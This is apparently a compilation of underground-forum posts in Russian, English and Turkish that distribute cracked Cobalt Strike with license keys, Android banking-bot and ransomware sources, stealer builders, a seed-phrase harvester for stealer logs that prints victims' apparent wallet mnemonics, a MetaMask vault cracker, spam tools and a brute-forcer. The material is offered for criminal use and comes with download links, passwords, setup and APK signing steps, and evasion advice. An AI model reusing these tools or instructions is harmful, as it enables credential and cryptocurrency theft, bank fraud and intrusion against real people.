You must have at least 5 message(s) to view the content.

С авто отключения протекта выложу позже, так же возможно отдам билдер с криптором.

Какая последняя версия етово зверя? Знает кто?

Hi guys;

Today CobaltStrike 4.4 Last edition has been cracked; so i'm sure alot of guys here waiting this day;

Cobalt Strike 4.4 (August 04, 2021) is release:

• + Add support for User Defined reflective loaders.
• https://www.cobaltstrike.com/help-user-defined-reflective-loader
• + Add support for User Defined sleep masking.
• https://www.cobaltstrike.com/help-sleep-mask-kit
• + Product licensing and Security enhancements.
• + Avoid localhost Sysmon event 22 for Beacon meta-data resolution.
• + Validate beacons with sleep_mask set have enough code cave space.
• + Update Mimikatz (2.2.0 20210724)
• + Update Cobalt Strike updater with cert/subdomain info
• + Add client reconnection option
• + Add buffering when sending data via NanoHTTPD
• + Update beacon help for link command
• + Update c2lint to return a result code
• + Add new dialog to the UI to view the Malleable C2 profile
• + Add an "allow" option to useragents filter; complements the block added in 4.3
• + Add alias field for server to login dialog
• + Add alias to connection dialog
• + Add alias on connection tabs on main Cobalt Strike screen
• + Enhance c2lint and UI handling of coding signing functionality
• + Enhance failover host rotation strategy(http/s 200 response with invalid data is a failure)
• + Add spear phishing email template parsing validation to Send client action
• + UI: enhancement request for Connect dialog to remember last connected teamserver
• + Add better C2 linting for code signing configuration
• + Checksum failure when building beacon using compiled Artifact kit
• + Vulnerability report: Team server crashes when bombarded with too large screenshots. (added TeamServer.prop config)
• + Fix error in arsenal build scripts (add bin/bash directive)
• + Fix various places in the UI where required table row selection was not edited.
• + Fix beacon error when a host entry of a listener contains a space at the end (trim host entry strings)
• + Clicking into the screenshots/keystrokes tabs doesn't immediately focus the list
• + Fix host rotation 'strategy' option documentation missing from 'listener_create_ext' aggressor function

For more sure and saftey; it's better to check the files your self! so we are in darknet; and none of us trust strangers; (you can create a jar package using java ida IntelliJ once you check the files!
In the next week i'm going to make the most important parts in this version which is stable in evading EDR/AV technique, keep tunned!

NOTE for all XSS members who vote in the contest and not!!
don't forget to vote for participate in Xss.is Context! 7days left & you have ability to vote for 3 Participate !! no only 1
https://xss.is/threads/55078/

Code:Copy to clipboard

https://up.labstack.com/zQD87FRI

mirror download:
https://mirrorace.org/m/13c99

7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858 Cobalt Strike 4.4 Licensed (cobaltstrike.jar)

https://verify.cobaltstrike.com/

pass: r1z.xss

Anubis 2.5 (Android Bot)

там два конфига , не только в папке anubs но и в папке о1о они должны быть одинаковые
остальное все - по ману

скачать:

You must have at least 15 message(s) to view the content.

Программа на Python 3.x производит рекурсивный поиск парольных фраз от криптокошельков внутри файлов, проверяет их валидность
(т.е. выдает только те фразы которые удовлетворяют стандарту bip39) и выводит парольную фразу и путь к файлу в котором она была найдена.
Валидация фраз на соттветствие стандарту bip39 производится с помощью библиотеки из репозитория аппаратного криптокошелька trezor https://github.com/trezor/python-mnemonic

Пример вывода программы (пути заменил на zzz что бы не палить имя юзера и тд)

Spoiler

Hidden content for authorized users.

/home/zzzzz/zzzzzz/Files/wallety/New text document.txt
rude cool annual mango hazard stable affair payment kingdom naive crush cancel

/home/zzzzz/zzzzzz/Files/wallety/tron.txt
awake window awful off hero coach salmon deer medal bleak crisp noodle

/home/zzzzzzz/FileGrabber/Users/aliraza/Documents/atomic backup pharse wallet.txt
focus city expand planet upon power stick begin usual cereal spring damage

/home/zzzzzzz/FileGrabber/Users/tunas/Desktop/torrrez codes.txt
sketch swift bronze stadium monster agent office error lock spare split frown

/home/zzzzz/zzzzzz/Files/wallety/ark wallet.txt
rude cool annual mango hazard stable affair payment kingdom naive crush cancel

0. Необходим Python версии 3.8 и старше и библиотека pbkdf2 для Python

1. Для работы программы необходимо в теле seed-parser.py в 12 строке заменить source на полный путь до папки с логами.

Если у вас логи от говностиллера и все сграбелнные файлы хранятся в отдельных архивах
(наверное что бы хозяева стилера успели быстрее вас спиздить крипту)

Spoiler: Для Linux

Hidden content for authorized users.

В консоли перемещаемся в паку с логами (должен быть утсановлен p7zip-full и p7zip-rar)
cd /home/user/папка-с-логами
и выполняем
find /home/user/папка-с-логами -type f -name '*.zip' -execdir 7z x -y {} +
Все, все вложенные архивы будут рекурсивно распакованы. Так же на всякий можно сдела то же самое для rar часто грабятся файлы типа wallet.rar с бекапами ключей и валлетов.
Распаковаться он не распакуется но по запросу пароля вы поймете где он лежит и сможете попытаться подобрать пароль из тех что сграбил стилер.

Spoiler: На Windows (всех версиях)

Hidden content for authorized users.

Пользователь виндовс должен только страдать

2. Можно настроить какие файлы программа будет пропускать, по умолчанию это gif ico jpeg png jpg cab 7z rar zip sys dll
Для настройки своих исключений нужно просто добавить расширения которые хотите что бы программа пропускала
В файле seed-parser.py с 14 строки вставляете свои расширения (в таком же формате например '.iso', ).

3. Можно настроить какие именно фразы вы хотите искать по умолчанию ищутся фразы длинной 12 и 24, программа так же поддерживает фразы длинной 15, 18 и 21 слов. Что бы включить их поддержку нужно дописать цифрами их в фигрных скобках в 27 строке в seed-parser.py

4. Парсер находит фразы с разной манерой записи вне зависимости от того где они упоминаются в начале середине или конце файла.

1. big
2. room
3. ocean
4. valley
...

1. big 2. room
3. ocean 4. valley
...

big room ocean valley ...

big
room
ocean
valley
....

и т.д.

5. Программа может искать фразы от кошельков созданные на других языках (поддерживаются языки: Французкий, Итальянский, Няшный, Корейский, Китаски и официальный язык порноделов) для того что бы программа искала фразы на других языках нужно в папке wordlist найти папку Other выбрать там словарь, переименовать его в english.txt и заменить тот что по умолчанию.

6. Если в командной строке программы указать путь до папки например python3.8 seed-parser.py /home/user то программа отработает в фоновом режиме при этом сохранив результаты работы в файл с именем в виде даты и времени.

Тестировал на Ubuntu 20.10 Python3.8 должно работать на виндовс (лучше в повершелл запускать а то вывод будет читать неудобно)

ПРЕДУПРЕЖДЕНИЕ
При большом объеме программа выводит много мусора. Пользователям linux будет с этим легко справится парсив только файлы граббера например
python3.8 seed.py | grep Files
где Files название папки в логе с файлами грабера
или
python3.8 seed.py | grep Autofill что бы отпарсить данные с автозаполнения.

Так же советую с помощью sed отсечь все фразы в которых есть более двух повторов. Ну те кто на линуксе думаю сообразят как мусорные строки выкинуть из вывода

В будущем планируется добавить следующий функционал
1. Вывод после каждой фразы по 3 биткоин кошелька и приватных ключа сгенерированных с помощью этой фразы всех трех типов (получится 9 кошельков: 3 кошелька P2PKH, 3 кошелька P2SH и 3 кошелька P2WPKH SegWit)
2. Вывод 3х эфириум кошельков и приватных ключей сгенерированных с помощью этой фразы
3. Добавление черного списка названий файлов и папок которые будут пропускаться.
4. Прочие улучшения по отсечению мусора.
5. Многопоточность (хотя и так вроде бы работает не медленно)

You must spend at least 30 day(s) on the forum to view the content.

You must have at least 20 message(s) to view the content.

Spoiler: Специальная версия для тех кто хочет продавать этот софт.

Ты пидор если хочешь торговать пабликом

Donate
Bitcoin bc1qphw8hltvwp6gqn6rx3rwgtuzxrcar6ap50rcqr
ETH 0x1C3136Ad67718Ebb6B235e159db761c5d657d0cf

AZORult 3.2 builder
билдер, версия предпоследняя

You must have at least 10 message(s) to view the content.

AZORult 3.3 builder
билдер, последняя версия

You must have at least 10 message(s) to view the content.

все запускать на свой страх и риск

Hi all,

Today i'm sharing with XSS community the cobaltstrike 4.5 Loader with original key {f38eb3d1a335b252b58bc2acde81b542} after it's get published.

December 14, 2021 - Cobalt Strike 4.5

• + Added a new Aggressor script hook to allow users to define how fork&run process injection is implemented.
• + Added a new Aggressor script hook to allow users to define how explicit process injection is implemented.
• + Added support for explicit process injection to post-exploitation jobs.
• + Added a "max retry" option which allows a Beacon to exit or increase sleep time after a specified failure count. This applies to HTTP, HTTPS and DNS Beacons.
• + Improved command history behaviour. Commands are now appended to the history in the correct order.
• + Added a console history command to display a list of commands. Display the entire command history, or specify how many items to display.
• + Added support for the bang (!) character to run a command from the command history list.
• + Increased available space in the sleep_mask kit from 289 to 769 bytes.
• + Added support to the sleep_mask kit for masking heap memory.
• + Increased reserved size in Beacon for a larger User Defined Reflective Loader. The new hook adds an override with a 100kb upper limit (5kb default).
• + x64 checkbox is now checked by default in all dialogs related to payload generation.
• + Made changes to product security and licensing.
• + Fixed an issue where the user defined reflective loader was not being cleaned up in some circumstances. The bootstrap code now supports the stage.cleanup setting.
• + Fixed issue that caused a warning to appear if TeamServer.prop was missing at teamserver startup.
• + Fixed a validation issue on the HTML Attack dialog where the dialog could be submitted without a listener value.
• + Fixed an issue in c2lint where a space at the end of the metadata/prepend transformation caused an error to be reported.
• + Fixed an issue in c2lint where an error was reported if allow_useragents was set but block_useragents wasn't.
• + Fixed an issue where the cp command was mishandling spaces in the path. Spaces are now supported when the path is enclosed with single or double quotes.
• + Fixed an issue where the mv command was mishandling spaces in the path.Spaces are now supported when the path is enclosed with single or double quotes.
• + Fixed an issue where the timestomp command was mishandling spaces in the path. Spaces are now supported when the path is enclosed with single or double quotes.
• + Fixed an error in the phishing dialog where email addresses in the Bounce To field were not being correctly validated.
• + Fixed an issue where reading job output from multiple reads was returning the last read size instead of the total size.

The most important features here:

• process injection.
• updates to the sleep mask.
• UDRL kits, evasion improvements.
• command history update.
• along with other, smaller changes.

The loader i use here is taken from here, but it's only supported for cobaltstrike 4.4, and this modified update supportingcobaltstrike 4.5 !
and will be updated to 4.6 soon.

to modify your own copy of cobaltstrike which give you ability to bypass the most moderm EDR/AV such like Kaspersky i did bypass in the contest topic you can learn more from.
---------------------
English readers.
Hide your CobaltStrike like a PRO! & Bypass Kaspersky End Point Security AV/EDR (PART 2)
Russian readers. Thanks for translate yashechka
Hide your CobaltStrike like a PRO! & Bypass Kaspersky End Point Security AV/EDR (PART 2)
---------------------
NOTE:
To start working in the loader you need to download cobaltstrike.jar or any other version you preffer and paste it in the same directory withXSSagent.jar and change the key in teamserver, start.*
---------------------

Code:Copy to clipboard

4.0 1be5be52c6255c33558e8a1cb667cb06
4.1 80e32a742060b884419ba0c171c9aa76
4.2 b20d487addd4713418f2d5a3ae02a7a0
4.3 3a4425490f389aeec312bdd758ad2b99
4.4 5e98194a01c6b48fa582a6a9fcbb92d6
4.5 f38eb3d1a335b252b58bc2acde81b542

Download cobaltstrike.jar all version from 4.0 due 4.5.
Download XSSagent Loader (XSSagent.jar).
Pass r1z.xss

PS:
Who need the all files of cobaltstrike and XSSagent write requesthere ,not pm!

a5e980aac32d9c7af1d2326008537c66d55d7d9ccf777eb732b2a31f4f7ee523 Cobalt Strike 4.5 Licensed (cobaltstrike.jar)
https://verify.cobaltstrike.com/
pass: r1z.xss

ARKADAŞLAR EVET SABAHTAN DÜZENLEMELER / İLAVELER YAPIYORUM ŞİMDİ YAPMAMI TAM OFİS KONUSUNUN HAZIR OLDUĞUNU DÜŞÜNDÜM! [Bazı Özellikler Kaldırılmadığından]

[]](https://hizliresim.com/VMLAJB)

Sağ Tık Menü =>

Dosya Yöneticisi =>

Bu resim yeniden boyutlandırıldı, tam halini görmek için tıklayınız.

Görev Yöneticisi =>

Bu resim yeniden boyutlandırıldı, tam halini görmek için tıklayınız.

Masaüstü İzleme =>

Bu resim yeniden boyutlandırıldı, tam halini görmek için tıklayınız.

Şifre Bölümü =>
[url = https: //i.hizliresim.com/gWAnNQ.png]

Kullanıcı Ayarları =>

Bu resim yeniden boyutlandırıldı, tam halini görmek için tıklayınız.

Eğlence Menüsü =>

Bu resim yeniden boyutlandırıldı, tam halini görmek için tıklayınız.

Sunucu Editör =>

VirusTotal

​

Mod Anubis 2.5 от 10.01.2020 и Anubis Loader(loader_maza) сорцы

Сливаю исходники лоадера Мазы и так же сливаю Анубис мод, который на експе продавали за 5к$ и сейчас стараются всякие долб..бы продавать.

Лоадер обычный, ничего необычного, имя пакета нужно шифровать в md5

Функционал банкбота:
- админ права
- отправка СМС
- перехват смс/скрытый перехват СМС
- получить все СМС на телефоне
- получить все установленные приложения
- USSD
- показать сообщение
- Push
- авто Push
- геолокация
- веб-инжекты включая криптовалютные, работают на 4-9 версиях
- граббер карт(5 видов)
- запуск инжекта(граббера) по интервалу
- получить все контакты
- спам по всем контактам бота или по вашей базе номеров
- доступ к файловой системе(rat) скачивание фото,аудиозаписей,текстовых форматов.
- стрим экрана(rat) - от версии 5.0 и выше
- стрим звука(rat)
- открыть url в браузере
- открыть url в активити бота
- переадресация звонка
- криптолокер
- удаленный запуск установленных приложений
- поиск файлов по сигнатурам
- запись звука(2 вида)
- кейлоггер (на браузер не распространяется)
- Socks5 модуль - от версии 5.0 и выше
- получить IP бота
- Автоматическое отключение Google Protect, работает после обновления 13.01.2020
- Решена проблема с засыпанием ботов
- Автоматическое удаление бота (не нужно подтверждения на стороне бота), следов не остается.
- Отображение модели мобильного телефона.
- Пошаговое получение данных из инжекта (падает все по очереди, логин, пасс,
номер карты, потом дата, потом цвв). В случаях когда вход в онлайн по карте, карту
получаете теперь почти наверняка, холдер обычно боится вводить CVV.
- Все разрешения берутся за 1 раз и незаметно, в отличии от старой версии с 5ю окнами.
- Удаление приложений с телефона по команде из админки.
- Автоудаление приложений по расписанию. Заливаете линки на антивирусы, бот чистит
телефон от них через указанное время после инсталла.
- Включение кейлогера по расписанию.
- Запуск инжектов по расписанию. Через указанное время ведется поиск по приложениям,
нужное - запускается.
- Расширенная панель по сортировке, поиску ботов.
- Панель на русском
- Блокировка ПУШ сообщений любых приложений

Всяким там любителям халявы пишу, что не надо в теме или лс просить личный, даю только тем у кого немного не хватает до хайда, остальным просьба не писать.
Хайд делается для того, чтобы увидеть, скачать могли активные пользователи, которые приносят пользу форуму в его развитии.

You must have at least 180 reaction(s) to view the content.

I 'm Sharing Both $30k Resources For Free For Anyone Who Downloads Directly Without Any Password, Along With Direct Installation, Just Do The Rest On Your Own.

You must have at least 200 reaction(s) to view the content.

I open a thread to post a collection of old banking malware for study.
I apologize for my English, I am still learning

I start with Kronos botnet. It 's my old panel + exe (without crypt)

Panel + Bin [+3 updates]

[CLIKE]
https://www.sendspace.com/file/3tvp6t
Passwords: xss.is
[/CLIKE]
I will continue publishing when I have free time

=========( Сборник тулз для спаммера )===========
Буду пополнять по тихоньку. Если хотите ченить отпостить - постите
========================================)
=================) С П А М (================

phpmailer - незаменимый скрипт в арсенале спаммера. хакнул хост,
закачал - и спамь Оч. удобно.

Скачать|Download

fxStyle Bulk Mailer - зделан на javascript'е. Не очень нравиться. Просто балкмейлер.

Качать: http://www.tucows.com/get/384169_144935

Code:Copy to clipboard

User Name: member27@fxstyle.com
Registration Code for Bulk Email Sender: 8069038061

=========) Email collection / Коллекторы (==========

eMail SPideR 8 - фуйня но работу свою делает. Собирает мыла по указаномму УРЛ. Написан на JAva посему медленный и глючный.

Качать: http://www.email-business.com/downloads/EmailSpider8.exe

Code:Copy to clipboard

 name : molinari
Code : KVPB-QSRP-YHUP-SVTM

Тут будем собирать сорсы вирусов ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ
Администрация, хостинг и пр. лица причастные к проекту не несут никакой ответственности за несанкционированное использование выложенной инфы.

Начнем:
mydoom.a sources
Известный червяк.

HOOKER 2.5
Что-то типа кейлога

Панель SIB от конца 17 года.
О шеллах, дырах - понятия не имею, панель не моя, не устанавливал и не использовал ее никогда.

полный комплект тут -
https://anonfile.com/I9H4Y7rdbb/Panel_zip
(инструкция, база данных, доп файлы и тп)

еще то что может понадобится возможно -
https://anonfile.com/q4GdYar2b4/_zip

(crontab и тп)

п.с. просто парсинг с ПС, и далее чек и раскрутка. Паука нету.

п.п.с Кто поставит и скинет старику установленую сиб доступ, был бы благодарен, просьба кто сможет и кому не в падлу, и не жалко, скиньте в ЛС установленную, ибо мозгов не хватает у меня.

v2 версия. Ласт.

Так как наша команда (до этого команда) вела этот бизнес чисто, максимально красиво, то и завершим мы его красиво.

Перед 70% клиентов фин обязательства уже закрыты. Оставшихся просим отписать в ЛС или в телеграмм, не забыть написать свою жабу, ключ лицензии и ip сервера. Это нужно для того, чтобы я убедился в том, что вы владелец лицензии. Желательно ещё apk файл приложить.

Исходники на растерзание, специально для xss.is
Cerberus v1 + Cerberus v2 + install scripts + admin panel + sql db

Hidden content for members of the Premium groups.

Wish Brute/Checker by Shoshy

[CLIKE]

wish.comm.db - AnonFile

anonfile.com

[/CLIKE]

Я занимался разработкой рансомваре и я хотел бы поделиться с вами, ребята. Поделитесь, пожалуйста, своим мнением по этому поводу. Какую функцию вы бы хотели видеть в этом рансомваре?

Ссылка для скачивания: https://github.com/Hetropo/ryuk-ransomware
попробуйте только на виртуальной машине

Программа на .NET Core 6.
На вход принимает папку с логами и перерабатывает их в цикле

1. Ищет файлы .log , как правило они относятся к метамаску , браве и так подобным, собирает из них vault
2. Ищет все пароли и автозаполнения
3. Подбирает пароль к vault
4. Если все прошло удочно собирает из мнемоники и пароля адрес
5. Проверяет баланс на debank

На выход выдает в консоль и txt файл данные в формате:

Лог: C:\Users\USERNAME\Desktop\ПАПКА\ПАПКА В ПАПКЕ
Кол-во кошельков: 2
Кол-во паролей: 2179
Мнемоника: tortoise produce type multiply chest acquire love maximum flat lion pact steak
Пароль: 993675871h
Адрес: 0x171D27C2acE5bdffE4c3A08cee337b6fbe52A135
Баланс: 0

Исходный код Paradise Ransomware.

Mega:

You must have at least 50 reaction(s) to view the content.

Бот писался на заказ. Клиент слился.Что умеет. СМС перехват скрытно, автопуши банков и картона,ручной запуск пушей, отправка смс, запуск инжектов, работа инжектов на всех версиях андроида, инжекты хранит на телефоне холдера,скачка смс, спам по контактам, автокрипт бота,шифрование траффа и дохрена что еще все описывать не хочу.
Бот не работает по ру.Крипт апи описывать в админке не стал лень если что позже выложу инструкцию.Бот работает на всех версиях андроид, тестировался и на последних 8-9.Установка простая есть мануал, заливаем на хостинг, прописываем базу в конфиге, заливаем базу.Нужен крипт, с криптом % 70 ботов живут неделями. По картону на нормальном траффике % 10-12 примерно, траффик с гугла. Палит пока 1 ав.Надеюсь сэкономить n k$

Сборка бота:
Билд апк, ставим apktool
Распаковываем апк командой apktool d -f app.apk
Рекурсивно меняем адрес админки (http://localhost/), для любителей Windows ставим Notepad++ выбираем функцию заменить во всех файлах.
Если нужно сменить иконку идем в папку apk/app/res/mipmap-xxxhdpi и меняем иконку ic_launcher.png на нужную, название оставляем прежнее.
Название приложения можно сменить в манифесте
Все собираем билд apktool b app -o new_app.apk
Подписываем приложение командами
echo y | keytool -genkey -dname "CN=Unknown,O=Unknown,C=Unknown" -keystore mykeystore.keystore -keysize 1024 -alias b5a -validity 14000 -keypass 123456 -storepass 123456 -sigalg SHA1withDSA

jarsigner -verbose -sigalg SHA1withDSA -digestalg SHA1 -keystore mykeystore.keystore new_app.apk b5a -keypass 123456 -storepass 123456
На этом вроде все!
Кто захочет отблагодарить BTC 1BgTjgmwXZaMYeCmDhhyYXzsbYv9bFcbpi
Если возникнут проблемы спрашивайте.
Линк
Пароль xerxes

Я не являюсь автором данного продукта!!! Всё написанное ниже ни кого ни к чему не обязывает и не сподвигает на какие либо действия!!!
Данный rat хороший конкурент hvnc и hrdp из тех которые есть на рынке. Главные его плюсы это работа на всех версиях windows, нет ни каких зависимостей, лёгкий билд, простой интерфейс, функционален, нет ни чего лишнего и не понятного, есть свой крипт за отдельную плату, а главное это доступность по цене. Вы можете всего за 23$ купить месячную лицензию, за 50 на три месяца и за 490 на пол года. С лицензией на пол года идёт бонусом Rootkit позволяющий вернуть "клиента" в случаи удаления. Так же у них есть крипт за 100$ в месяц и за 200 три месяца. Есть хорошая поддержка клиентов с отзывчивым саппортом, продукт поддерживается и обновляется.

1. Родная, независимая заглушка. Заглушка этого RAT была написана на C ++, что делает его независимым от .NET Framework.
2. Удаленный рабочий стол. Функция удаленного рабочего стола реализована с помощью специально созданного модуля VNC.
3. Скрытый удаленный рабочий стол. Модуль HRDP позволяет вам войти на удаленный компьютер, не зная никого! Учетная запись Windows, созданная этим модулем, автоматически скрывается от отображения при запуске Windows. Он был создан с использованием этого замечательного GitHub .
4. Повышение привилегий (Обход UAC). Повышение привилегий до Администратора необходимо для использования модуля HRDP. Это необязательно и выполняется по запросу из графического интерфейса WARZONE. Эта функция была протестирована и доказана для работы в операционных системах Windows от Windows 7 до даже самой последней Windows 10. Это делается с помощью Центра обновления Windows.
5. Удаленная веб-камера. Если к удаленному компьютеру подключена веб-камера, вы можете просматривать прямую трансляцию в модуле удаленной веб-камеры.
6. Восстановление пароля. Захватывает пароли из следующих браузеров:
- Chrome,
- Firefox,
- Internet Explorer,
- Edge,
- Outlook,
- Thunderbird
- Foxmail
Включить автоматическое восстановление паролей, чтобы получать пароли, не касаясь каких-либо кнопок!
7. Файловый менеджер. Загружайте и скачивайте файлы на высокой скорости. Вы также можете выполнять и удалять файлы. Вы можете скачать и загрузить файлы любого размера без проблем. Вы также можете выполнять файлы удаленно.
8. Скачать и выполнить. Получите прямую ссылку для загрузки вашего файла и запустите ее на удаленном компьютере.
9. Живой кейлоггер. Вы можете просматривать клавиши, нажатыми на удаленном компьютере в режиме реального времени.
10. Удаленная оболочка. Отправить команды в CMD удаленного компьютера.
11. Менеджер процессов. Просмотр и уничтожение процессов с помощью диспетчера процессов.
12. Обратный прокси. Просматривайте Интернет с IP-адресом удаленного компьютера!
13. Автономный кейлоггер. Keylogs сохраняют все действия клавиатуры Вашего "клиента"!

WARZONE RAT

Скришот
YouTube канал
Отзывы

P.S. WARZONE RAT считаю одним из лучших из тех которые есть на рынке, но это моё сугубо-личное мнение.

XSSLite - стиллер с веб-панелью, предназначенный для сбора различных данных с компьютера и отправки их на ваш сервер.

Click to expand...

Spoiler: Функционал

1. Сбор браузеров Chromium
2. Граббер файлов с рабочего стола
3. Сбор абсолютно всех плагинов из браузера
4. Сбор криптокошельков
5. Сбор информации о системе
6. Расшифровка логов на стороне сервера

Spoiler: Настройка и установка панели

1. Купите VDS
2. Откройте порты

3. Установите Python 3.11
4. Запустите Install.bat и ожидайте скачивания всех библиотек
5. Зайдите в файл config.json
6. Замените localhost на ip вашего VDS
7. Замените 80 на порт который вы открывали
8. Замените login и password на тот что вам нужно, эти данные будут использоваться для входа в панель

9. Зайдите В CMD в папке XSSLite и введите команду python start.py

Теперь ваша панель готова и вы можете войти в нее перейдя по ссылке которую вывело в консоль

Spoiler: Настройка и компиляция билда

1. Зайдите в папку XSSLite\Client\Client и откройте config.cs а затем замените ссылку на ссылку вашего сервера
2. Откройте Client.sln находящийся в папке XSSLite\Client
3. Скомпилируйте в режиме Release

Теперь ваш билд готов и уже можно лить трафик

Spoiler: Почему я решил выложить подобный софт?

Изначально я делал RAT+Stealer в одном, для того чтобы в дальнейшем его продавать, и я его уже дописал. Но решил, что лучше перепишу его на C++. В этот момент я узнал о конкурсе и решил, что переделаю свой софт под просто stealer. В итоге вырезал функционал RAT и пару функций стиллера тоже (а то слишком жирно будет подобный готовый софт выкладывать в открытый доступ). Ну вот так появился этот бесплатный проект.

Spoiler: На чем написан проект?

Серверная часть (Панель) написана на Python Flask.
Клиентская часть написана на C#.

Spoiler: Как реализован сбор и отправка куки, паролей на сервер?

Создается копия файлов куки и паролей. Также софт получает ключ dpapi и засовывает это все в виде байтов внутрь json. Затем отправляется на сервер. Уже на сервере происходит расшифровка полученных данных с помощью aes. После расшифровки всех данных они записываются уже в привычные txt файлы.

Spoiler: Почему я решил сделать расшифровку на стороне сервера?

Потому что это должно помочь снизить детекты на билде, так как происходит меньше подозрительных действий. Ну и просто потому что мне было проще написать расшифровку на питоне, чем на C#.

Spoiler: Посткриптум

Данный софт всего лишь черновой вариант того, что я планирую сделать. В будущей версии, которая будет предназначена для продажи, я перепишу клиентскую часть (билд) на C++ и также добавлю новый функционал. Но раз этот вариант программы черновой, это не значит, что с ней нельзя работать. Эта версия вполне пригодна и готова к использованию; главное, не забывайте криптовать билд.

Spoiler: Ссылка на скачивание исходников проекта

https://mega.nz/file/pSd2yaAB#IOHY0T2f7mqpNMT9NtQbQtiNzrj7CLR9lLqdM-3uumM

Скрипт для создания фэйков, закодированный:

[удалено, по просьбе автора]

​

_Введение _
Когда я только увидел что обьявлен новый конкурс на ХСС, сразу решил что буду участвовать. Однако возник вопрос, с каким проектом лучше всего зайти в конкурс. Я долго выбирал между тем, чтобы написать мессенджер на замену Токса с обнаруженной RCE, или же написать брут, которых я написал целую кучу и тележку на Delphi. Но понял, что начни делать я месседжер то я точно не успею, да и опыт написания брутов/чекеров у меня весьма обширный. Я писал их на любой вкус и цвет, разбирал мобильные приложения, разбирался в шифрования на различных сайтах. С учетом всех этих аспектов я понял, что я буду делать. Но вопрос был в другом, брут должен быть по настоящему уникальным, а не просто еще одним брутом под один сайт с загрузкой базы и проксей.

Преимущества:
1. Все в одном месте
Когда часто занимаешься написанием брутов, у тебя скапливается целая куча всего — скомпилированные бруты с результатами, исходники. Это всё разбросано по разным папкам и как-то неудобно. А если добавить к этому еще какую-то фичу, приходится заходить в каждый софт, дописывать и компилировать, что забирает уйму времени.
2. Современный стек
Обычно бруты пишут на Delphi или C#, но эти языки уже немного устарели для этой задачи. Либо же бруты пишут с использованием OpenBullet или Private Keeper, и таких была еще целая куча, но остальные как-то не сильно прижились. Я выбрал Golang за его выдающуюся производительность при высоких нагрузках и эффективную работу в многопоточке. Это может быть не тот же ООП-язык, но для поставленных целей он отлично подходит.
3. Кросс-платформенность
Большинство брутов создаются под Windows для удобства конечного пользователя. Но использование Golang позволяет компилировать его под различные операционные системы без проблем. Так что помимо Windows, мы можем легко работать на серверах под Linux, что добавляет гибкости и многофункциональности.
4. Web-морда вместо GUI
Те, кто брутит, обычно используют выделенные серверы с Windows, управляя ими через RDP. Это дорого и не всегда удобно. Работать с брутом как с веб-сайтом гораздо удобнее. Открываешь вкладку в браузере и работаешь там.
5. Сохранение всех настроек в пресеты
Для того чтобы не вводить настройки каждый раз заново, я реализовал пресеты. Указал источник прокси, их тип, и потом просто выбираешь этот пресет. Также сохраняется остаток, результаты можно скачать в txt или xlsx формате. Также если брут был остановлен по какой-либо причине его можно запустить повторно и не нужно брать остаток запихивать его по новому и прописывать все настройки снова, что как по мне тоже очень удобно.
6. Никаких ограничений ядра для разработчиков
В универсальных брутах накладываются определенные ограничения на разработчиков проектов. У меня модуль — это микросервис с одним эндпоинтом, и его можно написать на любом компилируемом языке. Входные данные в него, он выполняет свою магию и говорит гуд, бед, ошибка и так далее. Никаких ограничений ядра для разработчиков.

Инструкция по использованию
Алгоритм использования программы примерно следующий:

1. Загружаете базку
2. Создаете новый прокси пресет
3. Подгружаете модуль
4. Создаете сессию, выбираете то, что создали выше и после чего стартуете.

Теперь давайте пробежимся по каждому пункту подробнее

Комбо листы**
**
Для удобства хранения баз данных я добавил возможность создавать папки и группировать базы внутри них. Учитывая, что баз данных может быть много и по разным темам, это сделает навигацию проще. Просто кликните правой кнопкой мыши в свободном месте и выберите "Создать папку" или "Создать комбо-лист".

Чтобы создать папку, достаточно ввести название папки в появившемся модальном окне после нажатия правой кнопки мыши.

Комбо-лист работает немного по-другому. Он позволяет объединить несколько файлов или ссылок, чтобы сформировать один общий список. Например, вы можете указать файл на сервере и ссылку на Sendspace, где также хранится база данных, и получить один комбо-лист с данными из нескольких источников. Вы также можете указать одну ссылку или файл, в зависимости от вашего удобства. При создании комбо-листа нужно указать тип данных, которые будут включены в него.

Пока что, в настоящее время можно только указывать прямые ссылки на файлы, что действительно удобно, если ваши базы данных хранятся в облаке. Второй вариант загрузки баз из файла, который находится на той же машине, где запущен софт. Пока не сделал возможность выбирать файл с той тачки, где сидит пользователь. Я решил не включать эту функцию пока что, потому что знаю, что некоторые пользователи загружают огромные базы с несколькими миллионами строк и оставляют это на ночь. Загрузить такие большие базы данных сюда было бы довольно сложно, поэтому я решил отложить эту функцию на потом. Однако, если вы запускаете софт на той же машине, где и находитесь вы, то указание пути к файлу не представляет проблем.

Если хотите удалить папку, то сначало надо удалить вложенные в нее элементы. Если хотите удалить комбо лист, то не должно быть никаких связанных с ним сессий. Если на ФО есть клауд, софт его не обойдет, по этому смотрите чтоб клаудфлара не было на ресурсе куда залита базка.

Прокси пресеты

Тут это выглядит примерно следующим образом, собственно имеет определенную схожесть с комбо-листами, только здесь я не стал делать папки. Как правило прокси грузят либо из файла, каждый раз разные, либо по АПИ ссылке всяких сервисов таких как адвансы, бесты или авм, вообщем по вкусу и цвету... и там уже они в режиме реального времени обновляются с какой-либо переодичностью. Бывали и такие случаи когда прокси записывают в файлик на диске и уже из него обновляют с определенной переодичностью в бруте. В этом плане использовать пресеты удобно использовать. На случай если это разовая загрузка из файла, в котором прокси быстро сдохнут, то можно не создавать пресет, а сразу грузить прокси в сессии, для этого есть отдельная кнопка в сессиях, выбираете ее и грузите там уже свой файл с диска.

Но все же давайте вернемся к пресетам.

При использовании пресета для загрузки прокси по ссылке или из файла на диске, вы указываете наименование пресета. Если прокси будут обновляться с определенной периодичностью, вы ставите галочку напротив интервала и указываете время в секундах.
Таймаут соединения с сайтом для прокси подразумевается как обычно, это время ожидания ответа от сервера при подключении к нему.
Как и в случае с комбо-листами, вы можете указать несколько источников, из которых будут браться прокси. Если файл находится на вашей тачке, то автообновление прокси для него не будет работать, и программа будет всегда брать данные из загруженного вами файла. Это вполне логично.
Для удаленных файлов и ссылок автообновление будет активно. Вы можете выбрать несколько типов прокси: HTTP/S, SOCKS4, SOCKS5. Это означает, что в одной сессии брута могут использоваться сразу несколько разных типов прокси. Это удобно, так как вы можете указать несколько ссылок с разными типами прокси, и программа будет использовать их все вместе.

Модули

Собственно сама вкладка очень простая, жмякаете добавить, загружаете файлик модуля и он подтягивает его в эту вкладку. А вот как делать сами модули, это уже отдельная история.
